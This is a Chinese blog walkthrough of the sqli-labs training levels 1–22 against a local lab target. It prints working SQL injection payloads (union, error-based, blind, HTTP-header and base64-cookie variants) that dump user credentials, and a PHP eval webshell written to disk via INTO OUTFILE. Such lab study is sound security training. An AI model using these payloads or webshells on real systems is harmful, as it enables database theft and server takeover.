Sqli-labs-master less1-22笔记_sqli-labs-master/less-22-程序员宅基地

技术标签: 安全  web  WEB安全  

#Sqli-labs-master 1-22

实验环境:Windows7 x64 专业版

​ PHPstudy 2018

​ PHP版本 5.4.45

​ 靶机:Sqli-labs-master

注:LESS1-10为GET型注入 11-22为POST型注入 每道题解法不一定唯一 对于手法重复的关卡均未赘述

第一关 — 单引号报错

本关所用到的函数:

​ database() ---- 数据库名

​ concat(str1,str2,…) ---- 没有分隔的连接字符串

​ concat_ws(separator,str1,str2,…) ---- 含有分隔符地连接字符串

​ group_concat(str1,str2,…) ---- 连接一个组的所有字符串,并以逗号分隔每一条数据

​ 1.在链接后输入?id=1’报错

http://192.168.159.128/sqli-labs-master/Less-1/?id=1'

​ 2.使用单行注释–space(空格,url编码为%20)或–+或–'或#(url编码%23)后发现成功闭合查询语句,报错消失,判断该处为单引号闭合

http://192.168.159.128/sqli-labs-master/Less-1/?id=1'--+

在这里插入图片描述

​ 3.使用order by查询表单个数,发现当值为4时页面报错,因此判断改数据库有三个表单

http://192.168.159.128/sqli-labs-master/Less-1/?id=1' order by 4--+ 

在这里插入图片描述

​ 4.使用联合查询 union select 1,2,3(使前面传入的id值恒为假 eg:id=-1)查找交互字段

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+ 

在这里插入图片描述

​ 改变任意一交互点位置为database()可得到数据库名为“security”

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

在这里插入图片描述

​ 5.使用group_concat查询数据库表名,查询后获知有四张表

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

​ 6.使用group_concat查看表中的字段,查询后获知有四个字段

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'--+

在这里插入图片描述

​ 7.获知以上数据后,即可查询securty.users中的所有字段,此处查询语句中的’^'用以分隔用户名和密码

​ 三种查询语句:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1111 union select 1,2,group_concat(username,'^',password) from security.users--+

​ //group_concat()函数

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'^',password)) from security.users--+

​ //concat函数

http://192.168.159.128/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('^',username,password)) from security.users--+

​ //concat_ws()函数

在这里插入图片描述

第二关 — 数值型注入

​ 字符型注入,根据传入参数后页面的变化来判断是否存在注入

​ eg: 条件为真

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=1

在这里插入图片描述

​ 条件为假:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=2

在这里插入图片描述

​ 根据真假情况下页面的显示变化来判断是否存在注入点。本关中根据页面变化可以判断存在注入点,注入方法为:将第一关中的单引号去掉,其他手法完全一致。

​ 值得注意的是本关中使用union查询时,将前半段语句构造为假的方法有两种:

http://192.168.159.128/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3--+

​ //通过and 1=2来构造假

http://192.168.159.128/sqli-labs-master/Less-2/?id=-1 union select 1,2,3--+

​ //通过查询一个不存在的id来构造假

第三关 — 单引号和括号闭合 将注入参数改为 ') 其他同第一关

第四关 — 双引号和括号闭合 将注入参数改为 ") 其他同第一关

第五关 — 单引号报错注入(Xpath报错注入又名双注入)

​ 该关卡中隐藏了交互字段的输出显示,需要使用相关的报错函数updatexml()

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

​ 1.传入单引号后页面显示报错,使用单行注释–后页面恢复正常,但随后的order by判断表单个数以及判断交互字段均不显示。可以尝试用floor()、updatexml()、extractvalue()函数进行报错注入。个人更喜欢用updatexml()进行注入,简单方便。故本次只采用updatexml()进行演示

在这里插入图片描述

​ 2.构造查询语句

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

​ 其中的0x7e为字符’‘的ASCII码126,或者也可以直接使用’'构造以下查询语句

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',database(),'~'),1)--+

在这里插入图片描述

​ 3.可以看到,通过updatexml()函数构造的语句已经将数据库名查询并显示出来,接下来构造语句查询库中的表名。值得注意的是,concat()中位于中间的关键查询语句需要用()括起来作为一句查询语句,但使用单一函数时可以不用括号

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)--+

在这里插入图片描述

继续构造查询语句查询users表中的列名:

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)--+

在这里插入图片描述

继续构造查询语句查询users表中的内容,查询结果为一个用户的账号和密码,可使用 limit 0,1、 limit 1,1来查看下一个用户的账号和密码

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select concat(username,'^',password) from users limit 0,1),'~'),1)--+

在这里插入图片描述

4.注意:

​ ①如果继续选择使用group_concat()会出现不能完全显示所有的内容且limit无效的情况,因为使用group_concat()会将字符串拼接,因此不可以用使用limit 0,1来逐个查看。且updatexml()对字符输出长度最长输出32位

​ ②报错注入是将查询的反馈信息通过报错显示出来,因此不需要再去判断有几个表,也不需要判断交互字段的位置,查到数据库名后依次进行表名、列名、字段内容的查询。

http://192.168.159.128/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat('~',(select group_concat(username,'^',password) from users limit 0,1),'~'),1)--+

在这里插入图片描述

第六关 — 双引号报错注入 该关卡只需要将第五关的单引号换成双引号

第七关 — dump into outfile

​ 开始本关之前,需要修改一下配置文件。打开mysql命令行,使用 show variables like ‘%secure%’; 查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv="/" 修改完成后重启phpstudy,再次使用 show variables like ‘%secure%’;查看secure_file_priv的值已经更改为 “C:” 可以开始实验。

在这里插入图片描述

​ 至于为什么要修改这个参数,现将关于secure_file_priv的配置问题罗列如下:

​ (1)限制mysqld不允许导入和导出
​ mysqld --secure_file_prive=null

​ (2)限制mysqld的导入和导出只能发生在/tmp/目录下
​ mysqld --secure_file_priv=/tmp/

​ (3)不对mysqld 的导入和导出做限制
​ 在/etc/my.cnf或者my.ini文件中不指定值。

​ 下面开始本关实验:

​ 1.尝试单引号、双引号、括号、and 1=2后只有单引号报错,确定闭合类型为单引号。使用注释–后页面依然报错,单引号后添加一个括号依旧报错,添加两个括号后页面恢复正常。

http://192.168.159.128/sqli-labs-master/Less-7/?id=1'))--+

在这里插入图片描述

​ 2.接下来通过order by判断表的个数,当order by 4时页面发生报错,因此判断有三张表

http://192.168.159.128/sqli-labs-master/Less-7/?id=1')) order by 4--+

在这里插入图片描述

​ 3.尝试使用union select 1,2,3来判断交互字段,发现页面和less5的报错注入一样没有显示交互字段,且尝试使用updatexml()也不能进行报错注入。

在这里插入图片描述

​ 4.这里需要引入另一个mysql命令:mysql select into outfile 以及php一句话木马

​ select into outfile命令作用将查询结果输出保存到一个文件中,要想使用该方法对环境的要求较高

​ ①要有file_priv权限 ②知道网站绝对路径 ③要能用union ④对web目录有写权限 ⑤没有过滤单引号

​ php一句话木马:

<?php @eval($_POST["pass"]);?> 

​ 其中的pass为使用工具连接时的连接密码,其中pass外面的引号可以用单引号也可以用双引号。当然不止这一种写法,这里不再铺开。

	file_priv在本关一开始便已经做了相应更改,其他环境要求均符合,下面开始实际操作:

​ 通过select into outfile命令将特定的查询语句写入到指定目录下的233.php文件中

http://192.168.159.128/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile "C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/less-7/233.php"--+

​ 我执行查询语句之后页面依然是报错,在参考其他帖子时发现有的是可以在网页上显示执行的命令,但我的还是和之前的报错没什么企业别,打开靶机指定的文件夹发现233.php已经生成。

在这里插入图片描述

​ 查看233.php中的内容,发现成功写入php一句话木马

在这里插入图片描述

​ 使用中国蚁剑连接一句话木马,成功连接
在这里插入图片描述

在这里插入图片描述

注意:

​ 在构造查询语句时有两个注意的地方:

​ ①一句话木马中的密码外采用单引号时会出现不能成功写入的情况,双引号写入的成功率为100%

​ ②我在在指定文件路径时,采用双反斜杠(\)和单斜杠(/)都是可行的

第八关 — 单引号闭合的布尔型盲注入

开始之前先介绍一下关于函数substring用法:
eg:substring(appache,1,3) 结果:app 即从第一位开始截取三位
在这里插入图片描述

手工盲注入比较费事费力,本关中对于每个地方的关键字猜测均只介绍了从第一个开始

1.判断数据库名长度,当length()长度为8时页面依然显示"You Are in …",当长度为9时提示消失,既查询结果为假,得知数据库名长度为8

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and length(database())=9--+

在这里插入图片描述

2.判断数据库名的第一个字母是否为a(或A) ?

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='a'--+

在这里插入图片描述

​ 根据查询结果返回值为假,则数据库名第一个字母不是a,更改要判断的字母以及判断位置,直到将数据库名查询出来。真值结果如下所示。
在这里插入图片描述

3.在这里可以借助burp suite实现快速查询,避免手动查询的繁琐,在字符a上添加一个payload标记
在这里插入图片描述

在intruder设置中选择payload为从a-z,开始攻击
在这里插入图片描述
根据返回值的长度判断出数据库名第一个字符为s,改变判断位置再次执行相同的攻击,根据返回值长度判断出数据库名第二个字符为e,其余的字符只需更改判断位置即可,不再赘述。

在这里插入图片描述
4.通过八次操作,现已知数据库名为security,现在开始获取表名

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='a'--+

判断第一张表的第一个字符是否为a,修改判断位置,其余方法一致,直到所有的表被判断出来,在这里提醒一个技巧,可在payload中加入一个英文逗号,以此来判断表名是否结束,比如在判断为止为7的时候,判断出来的字符为’,’ 即表示第一张表结束 完整表名为emails
在这里插入图片描述
5.已知数据库名,表名,查询表中的字段,方法同上

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='a'--+

6.已知数据库名、表名、表中字段,现查users表中username和password字段中的内容,账号密码以’^'隔开以便区分,至此注入完毕。

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(username,'^',password) from security.users),1,1)='a'--+

提示:
1.以上的字符判断不区分大小写,但账号密码大小写敏感,对于密码大小写可用ASCII码进行判断
2.盲注入较为繁琐,了解原理之后可采用自动化注入

在这里插入图片描述

第九关 — 单引号闭合的基于时间盲注入

​ 该关卡中尝试过单引号、双引号、数值型后发现均无法使查询语句闭合,在尝试过less8的单引号闭合的布尔型盲注后,此关卡引入单引号闭合的时间盲注。

1.首先了解一下在SQL中if语句的用法

IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 expr2
的值为FALSE,则返回值为 expr3

结合sleep()可以构成基于时间盲注的SQL语句

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring(database(),1,1)='s',sleep(3),null) --+

该语句的意思为:如果数据库名的第一个字符等于字母s为真,则延时三秒后进行响应,如果为假,则不执行任何语句,这里的null可以写成任何对该语句没有影响的条件,例如写个1、2

在这里插入图片描述

2.修改判断位置,以此判断出数据库名的其他字符,直到整个数据库名security全部取出

3.已知数据库名为security,查询数据库中的表

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(3),null) --+

结合我在盲注一中讲述的内容,查出所有的表

4.已知数据库名security、数据表users,查询表中的字段

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(3),null) --+

5.已知数据库名security、数据表users,users表中username、password字段,查询字段中的内容

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(username,'^',password) from security.users),1,1)='d',sleep(3),null) --+

至此基于时间延时盲注入完成,关于密码大小写敏感的方法已经在我布尔盲注入一中提到

提示:
判断是否能使用延时注入的方法是将sleep()带入注入点,看能否被执行,执行一下语句,如果存在延时注入,页面将会延迟响应

http://192.168.159.128/sqli-labs-master/Less-8/?id=1' and sleep(5) --+

在这里插入图片描述

第十关 — 双引号闭合的基于时间盲注,该关卡只需要将less 9的单引号换成双引号

Sqli-labs-master 11-20关 —POST

第十一关 — 单引号闭合

​ 该关卡为单引号闭合,经过尝试在用户名和密码处均存在注入漏洞。与GET型传参不同的是,在进行POST型注入的时候需要打开hackbar的Enable POST功能,先在表单中输入用户名1和密码1之后再进行load,hackbar的POST中会加载出 ”passwd=1&submit=Submit&uname=1“。”submit=submit“会导致我使用的hackbar报错”form.submit is not a function“,经过尝试将POST体中的内容改为"passwd=1&uname=1"后可正常执行构造的语句。

在这里插入图片描述

​ 本关卡中除了order by的结果为2之外,其他的方法同less完全一致,不再赘述

在这里插入图片描述

第十二关 — 双引号和括号闭合,账号和密码出均存在注入,注入方法同less11

第十三关 — 单引号和括号闭合,交互字段被隐藏,采用updatexml()报错注入,方法同less5

在这里插入图片描述

第十四关 — 双引号闭合 将less13中的 ‘) 换成 " 即可

在这里插入图片描述

第十五关 — 单引号闭合的布尔型/时间行注入

开始本关之前,需要纠正一个之前一直存在的惯性思维

?id=1 and sleep(5)-- #    uname=1&passwd=1 and sleep(5)-- #   同理:  uname=1 and sleep(5)-- #&passwd=1 

?id=1' and sleep(5)-- #   uname=1&passwd=1' and sleep(5)-- #   同理:  uname=1' and sleep(5)-- #&passwd=1 

?id=1" and sleep(5)-- #   uname=1&passwd=1" and sleep(5)-- #   同理: uname=1" and sleep(5)-- #&passwd=1 

在本关卡的测试中,由于没有显示交互字段便着手采用盲注入,但尝试以上各种语句后页面都没有发生延迟响应,经过查阅资料后得知

GET型与POST型的时间盲注还是存在相应的不同,在前面的GET型中我们知道?id=1这个条件本来就是true(users表单下面有三个关键字id、username、password。其中的id就是?id=1所查询的结果),而我们测试POST型的uname和passwd都为1,这个条件本身为false,因为数据库没有这个用户,既整个查询语句为假。但如果我们知道有一个用户的信息上面的语句就能使用:

布尔型注入结果为true的情况如下:
在这里插入图片描述

基于时间的盲注虽然页面显示login failed,但是能感觉到页面已经延迟响应,通过network查看页面也的确延迟

在这里插入图片描述

在这里插入图片描述

​ 但实际的问题中,是不一定能找出一个存在的用户,这里就需要引入“万能语句”。POST型注入中,要判断字符型注入,最方便的就是利用”万能语句“

1 or 1=1 --+           	 1) or 1=1--+            1)) or 1=1--+
1' or 1=1 --+            1') or 1=1--+           1') or 1=1--+
1" or 1=1 --+            1") or 1=1--+           1") or 1=1--+ 

一般构造方法为 x(闭合字符) or 执行语句,eg:

uname=1&passwd=1' or if((substring(database(),1,1)='s'),sleep(3),null) --+

​ 该语句解释为:判断数据库名的第一个字符是否为‘s’,true则sleep三秒,否则不执行其他指令。但在实际执行的时候发现页面延迟响应时间远大于3秒,经过查阅得知POST型延迟注入比GET型慢,实际测试后发现在POST型中sleep(1)实际的睡眠时间大概为13秒,所以我这里的sleep(3)实际睡眠时间实际为40秒

在这里插入图片描述

​ 在某些情况下,我们还可以把查询为真和假所执行的语句换一下以加快速度,比如该关卡中可以让查询为真时立刻相应,查询为假时

延迟响应。eg:

uname=1&passwd=1' or if((substring(database(),1,1)='s'),null,sleep(3)) --+

​ 了解这些前提后,我们开始正式注入操作

本关中以布尔型为例,基于时间注入请参考less9

​ 查询数据库名首字母是否为’s’,根据页面反应结果为真。依次查出数据库名为security。

uname=1&passwd=admin' or substring(database(),1,1)='s'  --+

在这里插入图片描述

​ 查询security下的第一张表第一个字母是否为’e’

uname=1&passwd=admin' or substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e'  --+

在这里插入图片描述

​ 根据less8的盲注经验,可依次查询出后续关键字,由于盲注较为费时,这里不再赘述。

第十六关 — 双引号和括号闭合的基于时间/布尔型盲注 将less15的单引号换成 ")即可

第十七关 — 本关是一个更新用户密码的过程

​ 1.输入用户名1’密码1提交后,页面显示失败,且在尝试账号和密码出分别尝试 各种闭合字符和万能语句后依然不变

在这里插入图片描述

​ 2.根据关卡标题,该关卡是一个更新密码的过程,于是将username填入admin 密码填1,显示更新密码成功
在这里插入图片描述

​ 3.尝试在username表单中尝试闭合字符,页面变成最初失败界面。尝试在密码处输入单引号,页面出现sql语句报错:
在这里插入图片描述

​ 4.继续构造查询语句,尝试使用oeder by 页面报错 Unknown column ‘2’ in ‘order clause’,且减小猜测数依然报错。尝试直接使用union select 1,2后,页面直接出现SQL语法报错。
在这里插入图片描述

​ 5.尝试使用报错注入获取数据库名,成功。后续查询请参考less5,不再赘述。

在这里插入图片描述

第十八关 — HTTP头注入–user-agent

按照之前的构造方法进行尝试后均未成功,根据题目提示此题应为HTTP头注入,使用burpsuite进行抓包尝试注入

根据页面反馈,当正确登陆时页面会返回当前的user-agent以及IP地址,得知此处应包含insert 语句,将用户的user-agent写入到数据库再显示到用户界面。由此便产生了注入漏洞。

下面开始利用updatexml()构造注入语句查询数据库名:

User-Agent: Mozilla' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and '

在这里插入图片描述

查询表单:

User-Agent: Mozilla' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)and '

在这里插入图片描述

后续查询字段以及字段中的内容与以上一样,不再赘述。

第十九关 — HTTP头注入–Referer

打开题目界面又是一个与less18相同的登录框,使用admin admin登录之后,页面显示:

在这里插入图片描述

结合less18的经验,此处又为insert语句导致的referer注入。直接使用burp抓包尝试。

Referer: http://192.168.159.128/sqli-labs-master/Less-19/' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

尝试后发现与less18只是注入位置发生了变化,其他无异。

第二十关 — HTTP头注入–Cookie

打开题目页面,又是一个相似的登陆界面,只是没有了IP地址的提示,尝试使用admin admin登录后,页面显示出:

在这里插入图片描述

点击“delete your cookie”之后,页面返回到登录窗口。

使用burpsuite抓包,结合标题,在cookie处尝试构造注入语句。通过尝试发现有三张表,交互字段位于2所处的位置,后续步骤为普通的union查询。

Cookie: uname=-admin' union select 1,database(),3--+

在这里插入图片描述

第二十一关 — HTTP头注入–Cookie(BASE64编码)

题目页面又是一个熟悉的登录框,尝试普通测试语句无效后,使用admin admin登录,登录后出现信息页面:

在这里插入图片描述

与上几关不同的是(本关中的warning是我的时区配置问题),本关中的cookie内容是经过base64加密的,同样在cookie位置尝试注入,发现无效。经过查阅资料得知在加密的cookie注入时,应将相应的注入语句采用同样的加密方式加密后在代入注入点即可。

将“uname=”后面的尝试语句进行加密后带入注入点,页面出现SQL报错。

Cookie: uname=YWRtaW4n

在这里插入图片描述

继续尝试其闭合字符,发现闭合字符为 ‘) 即:admin’)# ==> WRtaW4nKSM=
在这里插入图片描述

查询数据库名:
在这里插入图片描述

在这里插入图片描述

剩余步骤只需要按照正常的union查询,并将查询语句进行base64加密再带入注入点即可。

第二十二关 — HTTP头注入–Cookie(BASE64编码)

本关与less相比,只有闭合字符发生了变化,本关的闭合字符为 "

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/skynet_x/article/details/109284094

智能推荐

HTML5 Web SQL 数据库_方式准则的定义-程序员宅基地

文章浏览阅读1k次。1、HTML5 Web SQL 数据库 Web SQL 数据库 API 并不是 HTML5 规范的一部分,但是它是一个独立的规范,引入了一组使用 SQL 操作客户端数据库的 APIs。如果你是一个 Web 后端程序员,应该很容易理解 SQL 的操作。Web SQL 数据库可以在最新版的 Safari, Chrome 和 Opera 浏览器中工作。2、核心方法 以下是规范中定义的三个_方式准则的定义

spring Boot 中使用线程池异步执行多个定时任务_springboot启动后自动开启多个线程程序-程序员宅基地

文章浏览阅读4.1k次,点赞2次,收藏6次。spring Boot 中使用线程池异步执行多个定时任务在启动类中添加注解@EnableScheduling配置自定义线程池在启动类中添加注解@EnableScheduling第一步添加注解,这样才会使定时任务启动配置自定义线程池@Configurationpublic class ScheduleConfiguration implements SchedulingConfigurer..._springboot启动后自动开启多个线程程序

Maven编译打包项目 mvn clean install报错ERROR_mvn clean install有errors-程序员宅基地

文章浏览阅读1.1k次。在项目的target文件夹下把之前"mvn clean package"生成的压缩包(我的是jar包)删掉重新执行"mvn clean package"再执行"mvn clean install"即可_mvn clean install有errors

navacate连接不上mysql_navicat连接mysql失败怎么办-程序员宅基地

文章浏览阅读974次。Navicat连接mysql数据库时,不断报1405错误,下面是针对这个的解决办法:MySQL服务器正在运行,停止它。如果是作为Windows服务运行的服务器,进入计算机管理--->服务和应用程序------>服务。如果服务器不是作为服务而运行的,可能需要使用任务管理器来强制停止它。创建1个文本文件(此处命名为mysql-init.txt),并将下述命令置于单一行中:SET PASSW..._nvarchar链接不上数据库

Python的requests参数及方法_python requests 参数-程序员宅基地

文章浏览阅读2.2k次。Python的requests模块是一个常用的HTTP库,用于发送HTTP请求和处理响应。_python requests 参数

近5年典型的的APT攻击事件_2010谷歌网络被极光黑客攻击-程序员宅基地

文章浏览阅读2.7w次,点赞7次,收藏50次。APT攻击APT攻击是近几年来出现的一种高级攻击,具有难检测、持续时间长和攻击目标明确等特征。本文中,整理了近年来比较典型的几个APT攻击,并其攻击过程做了分析(为了加深自己对APT攻击的理解和学习)Google极光攻击2010年的Google Aurora(极光)攻击是一个十分著名的APT攻击。Google的一名雇员点击即时消息中的一条恶意链接,引发了一系列事件导致这个搜_2010谷歌网络被极光黑客攻击

随便推点

微信小程序api视频课程-定时器-setTimeout的使用_微信小程序 settimeout 向上层传值-程序员宅基地

文章浏览阅读1.1k次。JS代码 /** * 生命周期函数--监听页面加载 */ onLoad: function (options) { setTimeout( function(){ wx.showToast({ title: '黄菊华老师', }) },2000 ) },说明该代码只执行一次..._微信小程序 settimeout 向上层传值

uploadify2.1.4如何能使按钮显示中文-程序员宅基地

文章浏览阅读48次。uploadify2.1.4如何能使按钮显示中文博客分类:uploadify网上关于这段话的搜索恐怕是太多了。方法多也试过了不知怎么,反正不行。最终自己想办法给解决了。当然首先还是要有fla源码。直接去管网就可以下载。[url]http://www.uploadify.com/wp-content/uploads/uploadify-v2.1.4...

戴尔服务器安装VMware ESXI6.7.0教程(U盘安装)_vmware-vcsa-all-6.7.0-8169922.iso-程序员宅基地

文章浏览阅读9.6k次,点赞5次,收藏36次。戴尔服务器安装VMware ESXI6.7.0教程(U盘安装)一、前期准备1、下载镜像下载esxi6.7镜像:VMware-VMvisor-Installer-6.7.0-8169922.x86_64.iso这里推荐到戴尔官网下载,Baidu搜索“戴尔驱动下载”,选择进入官网,根据提示输入服务器型号搜索适用于该型号服务器的所有驱动下一步选择具体类型的驱动选择一项下载即可待下载完成后打开软碟通(UItraISO),在“文件”选项中打开刚才下载好的镜像文件然后选择启动_vmware-vcsa-all-6.7.0-8169922.iso

百度语音技术永久免费的语音自动转字幕介绍 -程序员宅基地

文章浏览阅读2k次。百度语音技术永久免费的语音自动转字幕介绍基于百度语音技术,识别率97%无时长限制,无文件大小限制永久免费,简单,易用,速度快支持中文,英文,粤语永久免费的语音转字幕网站: http://thinktothings.com视频介绍 https://www.bilibili.com/video/av42750807 ...

Dyninst学习笔记-程序员宅基地

文章浏览阅读7.6k次,点赞2次,收藏9次。Instrumentation是一种直接修改程序二进制文件的方法。其可以用于程序的调试,优化,安全等等。对这个词一般的翻译是“插桩”,但这更多使用于软件测试领域。【找一些相关的例子】Dyninst可以动态或静态的修改程序的二进制代码。动态修改是在目标进程运行时插入代码(dynamic binary instrumentation)。静态修改则是直接向二进制文件插入代码(static b_dyninst

在服务器上部署asp网站,部署asp网站到云服务器-程序员宅基地

文章浏览阅读2.9k次。部署asp网站到云服务器 内容精选换一换通常情况下,需要结合客户的实际业务环境和具体需求进行业务改造评估,建议您进行服务咨询。这里仅描述一些通用的策略供您参考,主要分如下几方面进行考虑:业务迁移不管您的业务是否已经上线华为云,业务迁移的策略是一致的。建议您将时延敏感型,有快速批量就近部署需求的业务迁移至IEC;保留数据量大,且需要长期稳定运行的业务在中心云上。迁移方法请参见如何计算隔离独享计算资源..._nas asp网站